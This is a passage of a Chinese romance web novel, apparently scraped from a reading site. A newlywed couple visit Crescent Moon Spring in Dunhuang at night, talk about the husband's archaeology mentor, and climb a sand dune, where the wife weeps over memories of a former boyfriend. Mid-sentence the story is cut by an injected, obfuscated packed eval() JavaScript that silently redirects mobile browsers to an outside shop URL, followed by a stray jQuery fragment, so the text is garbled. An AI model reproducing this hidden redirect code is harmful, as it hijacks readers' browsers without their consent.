长街上行人寥寥,树木静悄,月光伴着灯光映照在地面上,像是在路面上铺了层碎银,在夜里闪着微亮的光。
一对年轻男女,步履悠然、并肩行走在路上。
前方不远处,是敦煌的另一盛名景点鸣沙山月牙泉,俩人赶着停止检票的时间点入了园。
没有了白天的人头攒动,夜晚的景区尤其空旷。
回程路上舒萦的那句带你去个地方,让黎苏年不假思索调转车头来到了这里。
他知晓她用意,但也不想她太为他担心,所以主动开启话题说道:“今晚拜访的,是我硕博阶段的导师,毕业之后没有留在这里工作,让老师失望了。”
至此,舒萦算是彻底明晰黎苏年今晚的不寻常。
她站在黎苏年的角度看问题,自然而然地为黎苏年辩驳:“可是你现在在高校工作也很好啊,可以培养更多的专业人才投身到考古事业中。”
“不一样的,”黎苏年苦笑一声,继续说道:“老师是研究所的修复大家,五十年代来到敦煌,深耕到现在,从无到有,所有的经验、技巧都是在日复一日的工作中摸索积累出来的,他倾囊相授,是想我能够继承他的衣钵。”
如今的莫高窟尚有三分之一的洞窟未完成修复,且已经修复的洞窟,也随时可能遇到新的问题。
文化遗产保护是长期工作,老师如今八十多的高龄,每天还亲自到现场指导工作。
做出回家乡这个决定,很多时候,他都愧对老师的栽培。
“你当初为什么学考古?”
舒萦突如其来的提问把黎苏年从自己的忧思中拽了出来。
像是怕他没有听清,舒萦补充道:“我记得你当初是放弃保送自己报考的考古专业,为什么。”
黎苏年望着女孩清凌凌的眼睛,近在咫尺、触手可及,有那么一瞬间,又像是回到少有交集的过去。
视线略微恍惚一秒,他收回,看向远方的路。
“所谓百年功名、千秋霸业、万古流芳,与一件事情相比,其实都不算什么,这件事情就是——用你喜欢的方式度过一生。”
声落,舒萦眼睛瞬间就亮了。
“《明朝那些事儿》的结束语!”
黎苏年笑嗯一声。
舒萦很惊喜:“你是受这段话的影响才放弃保送,选择了自己喜欢的考古吗?”
这个问题不用黎苏年回答,舒萦自己便有了答案,她说:“这本书我读高中的时候可谓风靡,我们班有个好心人买了一套,然后大家把书撕开分成一半又一半,我就是这么在班里传来传去看完的。”
“当时读到这里真的特别震撼,最后一章写到崇祯皇帝自尽后,我以为作者会接着往下写,写大明的衰败、或是清军入关后的物是人非,可是他没有,他写徐霞客。”
“徐霞客多酷啊,同朝的其他人都在忙着争权夺利,他却在那个交通不发达的年代遍历山河,穿着布衣,没有任何资助,一个人徒步跋涉、风餐露宿。”
话题的最后,她这样总结:“他是千古奇人,大丈夫当朝碧海而暮苍梧,乃以一隅自限耶。”
停顿几秒,舒萦往前跳了一小步,低声跟自己说:“小女子应如是。”
黎苏年跟上来,只隐约听见应如是几个字,他问她在说什么。
舒萦嘿嘿笑一声,“没什么,真巧,我们还是同一本书的书粉呢。”
黎苏年视线轻悠悠地笼下来,想说不巧,我读这本书还没读到这里的时候,是你把这段话分享给我的。
但面上,他咽下一口虚无,轻轻嗯一声回应她。
舒萦:“所以你看呀,你是因为喜欢考古本身才选择了这条路,如今的工作,也是你的选择,可能辜负了老师的期望,但没有违背初心,还在这条路上,这就叫有始有终,黎老师加油,祝福你早日桃李遍天下。”
说话间,俩人走到了月牙泉附近,这片沙漠绿洲奇观已经存在了上千年,泉水在灯带映照下,散发着微弱的光芒,仿佛星光倒影般美不胜收。
两个人站在那里,谁都没有再说话,只静静聆听水流的声音,周遭静谧,有隐隐的虫鸣声在夜色中回响、飘荡。
就这么站了十多分钟。
心境平和且安宁。
再回神,是黎苏年冷不丁的一句问话:“冷不冷。”
舒萦短促啊一声,有点没听清,目光愣愣看向他。
他又重复了一遍:“冷吗?”
这次听清楚了,舒萦展颜一笑:“不冷。”
她指指自己全套的保暖装备:“我准备很充足的,又不是小孩子了,早过了要风度不要温度的年纪。”
这话成功把黎苏年逗笑。
他上下检查一圈,帽子、围巾、羽绒服。
的确是把自己塞的严严实实,没有一点透风的地方。
可这里气温到底是低,怕她冻着,想了想,他还是说:“回去休息吧,不早了。”
这话后,舒萦又是一声啊。
这就回去了呀,她带他来这的正事还没干呢,“别呀,我还没带你看星星呢。”
黎苏年低笑一声,问:“为什么要带我看星星。”
“你不是有点不开心吗,”
舒萦抬头望一眼天空,坦然道:“忘了之前在哪看到,说我们看到的星空离我们最近的一颗星星距离我们四点四光年,所以说离我们最近的一颗星星想让我们看到它,它发出的光也走了四年多。”
“刚好它走到这里,刚好我们抬头。”
两个人极有默契地循着声音同步抬头望向天空,听见她继续说:“这是一种非常浪漫的相遇,是来自宇宙的浪漫,希望这份浪漫,可以治愈你的不开心。”
轰一声。
黎苏年整颗心像是被点燃。
烟花凌空、百花齐放。
幸福和欣喜快要漫溢出来。
也许人生就是这样,总不会叫你事事如意,至少他的另一个心愿,不再遥不可及。
最后还是没有看到星空。
银河升空的景象大概要凌晨两三点才能看到,眼下才九点多,冬天的沙漠,穿再厚站几个小时也要把人冻僵。
他说:“心意很珍贵,有被完美治愈,但星星还是下次看吧,我们回去。”
冬天出门一趟不容易,买了门票、鞋套,进来不到二十分钟就要回去,舒萦觉得好亏。
最后她提议,两个人还是爬趟沙山吧,一趟足以,也算不虚此行。
这个提议很合理,黎苏年欣然同意。
于是两个人移步,就近选了条登顶路。
晚上的爬梯少有人影,两个人一前一后往上走。
沙山不同于石山,石山走一步算一步,沙山走一步自动退两步。
舒萦穿得厚,体力也有限,走十分钟就要坐下来歇一会儿。
第三次坐下时,舒萦好不容易平复了呼吸,突然觉得好不公平。
一样的爬山,她要累
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13963990|145181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
死了,大晚上的,她干嘛要这么提议,看看身边人。
黎苏年体力简直强的可怕,喘都不带喘的。
她长呼一口气,感叹:“跟你一起爬山好打击我的自信心,想我也算个忠实户外爱好者,大学那几年,三山五岳,各大佛、道教名山,都有我的足迹,我一直觉得自己体力挺好,结果现在,我要累死了,你却连喘气声都没。”
“舒同学。”
黎苏年手指弯曲,忽然靠近刮在她鼻尖一下:“哪只耳朵听见我不喘气的。”
手套上沾了细细的沙,摩擦在皮肤上,让人心里都跟着一痒,听见他平静声音继续说道:“只有死人才不喘气。”
话音落下,舒萦瞬间爆笑。
黎苏年的幽默还真是别具一格。
笑声后,她说:“哪有人这么讲自己的,我替你呸呸呸。”
“那我是不是要谢谢你?”
“好说好说。”
愉快闲聊后,俩人起来继续往上走。
十多分钟后,舒萦喊住黎苏年:“休息一下再继续吧。”
于是俩人齐齐原地坐下再次稍事休息。
晚上的风很凉,但两个人体力消耗大,此时的风吹过,反倒很舒适。
谁也没有先开口,就这么简简单单的并肩坐在一起。
蓦地,舒萦被左前方的说话声吸引。
是一对年轻男女。
男生说:“回去吧,别找了,天这么冷,明天我给你买个新手机行吗。”
女生说:“不行,这手机上有我们这一路的照片我还没来得及备份呢。”
男生说:“照片可以再拍。”
女生说:“我说了不一样。”
心弦无端抽跳一下。
舒萦想起一件久远的往事。
当初大一军训完,她参加素拓部,社团组织十一不回家的大家一起出来玩。
她们大学在兰州,目的地就这样选在了省内,第一站去了张掖,看了七彩丹霞,领略了平山湖大峡谷的壮美风光。
第二站来到了敦煌,抵达第一天,一行人晚上来这里体验沙漠万人演唱会。
人多拥挤,她的手机也不小心掉在了沙子里,那是妈妈花了大价钱给她买的最新款,计划用四年的。
她们一行人找了很久没找到,最后她哭着回去酒店。
是何宴舟,一声不吭的回来找工作人员借了金属探测仪帮她找了好久好久,她躺在床上怎么也睡不着,何宴舟带着失而复得的手机敲开她房间门的那一刻,她真的爆哭。
感动到无以言表。
再后来,她很快沦陷在何宴舟的攻势之下,他对她真的很不错,在一起六年,从没和她说过一句重话,事事以她为先。
她曾经以为,他就是那个陪她走完这一生的人。
可才毕业两年多。
怎么一切就变了呢。
旧日记忆猝然涌现。
眼泪随之夺眶而出。
根本不受她控制。
黎苏年身影骤然出现在眼前,把舒萦吓了一大跳。
在新婚丈夫面前回忆前男友,她可真行。
意识到这一点,舒萦心慌得不敢看他,偏开脸,快速说道:“掉眼泪是因为沙子跑到眼睛里了,现在没事了。”
黎苏年什么都没问,一把将她揽进怀里。
男人低沉悦耳的声线,紧随其后落至她耳中。
他说:“嗯,帮你挡着。”